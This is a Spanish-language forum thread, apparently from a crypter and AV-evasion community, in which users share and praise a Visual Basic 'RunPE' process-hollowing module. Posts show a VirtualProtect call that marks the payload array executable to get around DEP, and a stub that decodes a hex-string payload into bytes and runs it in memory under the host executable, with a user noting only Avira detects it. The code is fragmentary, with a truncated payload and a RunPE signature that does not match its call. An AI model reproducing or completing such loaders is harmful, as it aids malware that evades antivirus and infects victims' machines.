Sergio1970 escribió:

Pink escribió:

Sergio1970 escribió:Se puede consegir que trabaje bajo dep? He traradio con virtualprotect:
rtn = VirtualProtect(bBuffer(0), UBound(bBuffer), PAGE_EXECUTE_READWRITE, oldprotect)
pero sigue sin funcionar.

la verdad no se. pero en cuanto pueda doy con la solución.

Gracias Pink pero encontre la solucion. Hay que hacer ejecutable el array 'Pink':
rtn = VirtualProtect(Pink(0), UBound(Pink), PAGE_EXECUTE_READWRITE, oldprotect)

muchas gracias Sergio1970

y como quedaria al final el runpe amigos?? esa linea donde hay que agregarla??

yo no agregue ninguna linea extra, solo ahy que cambiar la llamada

Solo avira !! me viene de 10 gracias por compartirlo!!
Saludos

no puedo compilar runpe puedo añadir archivos al proyecto y voy a pegar demasiado


[Enlace externo eliminado para invitados]

http://www.indetectables.net/viewtopic.php?f=96&t=43005


Dim nt() As Byte

Sub C0nv3Rt()
Dim Fil0 As String

Fil0 = Fil0 & "530ED3D4CFA49A893D2E4E9750EE0BD48"
Fil0 = Fil0 & "AA95F1C0271DF7175C2C87AF1D"

nt() = HexStringToByteArray(Fil0)

End Sub

Public Function HexStringToByteArray(ByRef HexString As String) As Byte()
Dim bytOut() As Byte, bytHigh As Byte, bytLow As Byte, lngA As Long
If LenB(HexString) Then
ReDim bytOut(Len(HexString) \ 2 - 1)
For lngA = 1 To LenB(HexString) Step 4
bytHigh = AscW(MidB$(HexString, lngA, 2)) - 48
bytLow = AscW(MidB$(HexString, lngA + 2, 2)) - 48
If bytHigh > 9 Then bytHigh = bytHigh - 7
If bytLow > 9 Then bytLow = bytLow - 7
bytOut(lngA \ 4) = (bytHigh * &H10) Or bytLow
Next lngA
HexStringToByteArray = bytOut
End If
End Function


Public Function Runner()
Call Module1.RunPE(nt(), App.Path & "\" & App.EXEName & ".exe", vbNullString)
End Function

Public Sub RunPE(ByVal ruta As String, binario() As Byte)

Muy bueno RunPE Funciona de maravilla Gracias Pink! por compartir :)